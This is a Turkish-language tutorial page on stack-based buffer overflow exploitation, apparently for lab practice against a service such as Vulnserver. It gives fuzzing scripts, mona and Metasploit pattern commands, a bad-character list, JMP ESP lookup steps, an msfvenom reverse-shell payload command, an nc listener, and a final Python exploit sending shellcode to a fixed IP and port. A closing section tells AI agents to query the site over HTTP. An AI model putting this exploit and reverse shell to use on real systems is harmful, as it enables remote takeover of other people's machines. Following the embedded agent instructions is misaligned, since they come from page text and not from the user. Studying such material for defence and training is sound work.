# BOF - Stack Based

## Buffer Overflow

> Stack Based Buffet Overflow
>
> ### Fuzzing
>
> Uygulamada bulunan girdi noktalarına fuzzing uygulanır. Bu işlem için aşağıdaki python kodu ile bir soket başlatılıp TCP üzerinden data gönderilebilir.

```python
#/usr/bin/python2
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('IP', PORT))

    s.send(("PRE-COMMAND" + buffer))
    s.close()
    sleep(1)
    buffer = buffer + "A" * 100
    print "Send %s" % str(len(buffer))
```

Fuzzing işlemi sırasında program crashlenir ise "access violation" hatası alınırsa büyük ihtimal ile bof zafiyeti vardır. Immunity Debugger'dan `EIP, EAX` gibi registerların değerine bakılabilir.

Crash kaç byte gönderildikten sonra alınmış ise o boyutta pattern oluşturulup gönderilir. Bunu yapmaktaki amaç kaç byte'dan sonra `EIP ve ESP` registerlarına yazıyor bilgisine ulaşmak.

### Offset Bulma

Bu işlem için pattern üretilmelidir. Bunu birçok farklı şekilde yapmak mümkündür. Immunity Debugger'da kullanılan `mona` veya kalide bulunan `pattern_create veya pattern_offset` gibi araçlar kullanılabilir.

Mona modülünü kullanırken logların kaydedileceği dizini ayarlamak için aşağıda yer alan komut kullanılabilir.

```
!mona config -set workingfolder c:\logs\%p
```

1. mona ile;\
   `!mona pc <pattern_size>`
2. msf'de bulunan ruby aracı ile;\
   `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <pattern_size>`
3. /bin/msf-\* araçları ile;\
   `msf-pattern_create -l <pattern_size>`
4. Benzer amaçla yazılmış bir çok tool bulmak mümkündür. (Kali de /bin/msf-\* araçları da ayrıca vardır.)

EIP registarına yazılan değerin offset değerini bulmak için; 1. mona ile;\
`!mona po <pattern_value>`

1. msf'de bulunan ruby aracı ile; `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <pattern_size> -q <pattern_value>`
2. /bin/msf-\* araçları ile; `msf-patter_offset -q <pattern_value>`

### Badchar bulma;

EIP registerına ait offset değeri bulunduktan sonra badcharların bulunması gerekli. Badcharlar registerlarda bulunan veriler işlenirken özel olarak yorumlanan karakterlerdir. Bu durum bizim kullanacağımız zararlı shellcode'u etkileyeceği için bu tür karakterleri içermeyecek şekilde shellkodumuzu üretmeliyiz.

```
badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
```

> Bu aşamada gönderilecek verimiz `"A" * <offset_value> + "B" * 4 + badchars` şeklinde olacaktır. badchar değişkeninin tuple olması önemlidir!

Stack alanını doldurduğumuzda yani `EAX, EBX, EIP` registarlarına yazdıktan sonra badcharların yazılacağı register `ESP` registerı olacaktır.

**Not ; ESP** Shellkodumuzu bu registara yazacağız. O yüzden bu registara yazılacak shellcodun içinde badchar olması durumunda shellcodumuz çalışmayacaktır. Bu sebepten badchar tespiti önemlidir.

### Uygun modulün bulunması

Shellcodumuz stack de bulunan `ESP` belirtiği alana yazılır. Bu sebeple bizim bu registara atlayan (JMP) komutun bellek adresine ihtiyacımız olacak. Yukarıda belirtildiği üzere `EIP` registerına yazabilmekteyiz. Biz de `EIP` registarına, `ESP` registarına zıplayan kodun bellek adresini yazacağız. Böylece kod `ÈIP` registarına geldiğinde burda `ESP` giden bellek adresini görecektir. `ESP` ye shellcodumuzu yazarak programın akışını değiştirip istediğimiz kodu çalıştırmış olacağız. Bu sebeple `ESP` registarına giden bir komutun bellek adresine ihtiyaç duymaktayız. Bunu bulmanın birçok farklı yolları vardır.

Öncellikler `!mona modules` diyerek uygulamamızın kullandığı modüllere bakacağız. Bu modüllerde herhangi bir memory proctection var mı? varsa hangileri gibi bilgiler bizim için önemli. Çıkan menüde memory protection olmayan modüller birincil odak noktamız olmalı.

Daha memory procteion olmayan modüllerin herhangi birinde `JMP ESP` kodunu arayacağız. Bunu yapmaktaki amacımız; bu komutun olduğu bellek adresini bulup `EIP` registerına yazmak. `EIP` bu bellek adresindeki komutu gösterdiğinde burdaki komut ile `ESP` sıçrayacaktır ve ordan da shellcodumuz çalışmış olacak.

> `JMP ESP` komutunun opcodu `FFE4` dür.

1. mona ile;\
   `!mona find -s “\xff\xe4” -m <module_name>`
2. ımmunity debugger ile;\
   `View > Executables modules > "module_name" X2 click > CTRL + F > search "JMP ESP" > note memmory adres!`

Bulunan değer `EIP` registarına yazılacak şekilde koda eklenmelidir. Kodun bu aşamadki hali;\
`"A" * <byte_size> + "<adress of JMP ESP>" + "\x90" * 8` olmalıdır.

**Not :** `JMP ESP` nin bellek adresi yazılırken little endian olduğu için tersten yazılmalıdır. Yani "A5F256CC" adresi "CC56F2A5" şeklinde yazılmalıdır.

### Shellcode üretme

Bu aşamada shellcodu üretip göndereceğimiz payloada ekleyeceğiz. Bunun için `msfvenom` aracını kullanacağız.

```
# msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f python -v shellcode
```

bu komutun sonucunda çıkan çıktıyı kodumuza aşağıdaki şekilde ekleyeceğiz.

`buffer = "A" * <byte_size> + "<address of JMP ESP>" + "\x90" * 8 + shellcode`

Payloadın nihai şekli yukarıdaki şekildedir.

### Get Reverse Shell

Artık tüm işlemler tamam olduğuna göre `nc` ile ilgili portu dinlemeye alıp exploit kodumuzu çalıştırmamız gerekecek.

`nc -vlp <port_number>`

**Dipnotlar;**

* badchars değişkeni tuple olmalıdır!
* "\x90" no operation komutudur. Kullanacağımız payloadın patlamaması için kesinlikle eklenmesi tavsiye edilir.
* shellcode üretilirken özellikle windows tarafından engellenmeyecek portlar kullanılması tavsiye edilir. 53, 80, 443 gibi sık kullanılan portlar kullanılmalıdır.

Bonus - Sample;

```python
#/usr/bin/python2
import sys, socket
from time import sleep

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode =  ""
shellcode += "\xdb\xc2\xbe\x8a\x7f\xb7\x29\xd9\x74\x24\xf4\x5f"
shellcode += "\x2b\xc9\xb1\x52\x31\x77\x17\x03\x77\x17\x83\x4d"
....
shellcode += "\x47\x3e\x84\xc2\x42\x7a\x02\x3f\x3f\x13\xe7\x3f"
shellcode += "\xec\x14\x22"

buffer = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 8 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.23', 9999))

s.send(("TRUN /.:/" + buffer))
s.close()
sleep(1)
#buffer = buffer + "A" * 100
print "Send %s" % str(len(buffer))
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security.musana.net/buffer-overflow-bof/bof.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
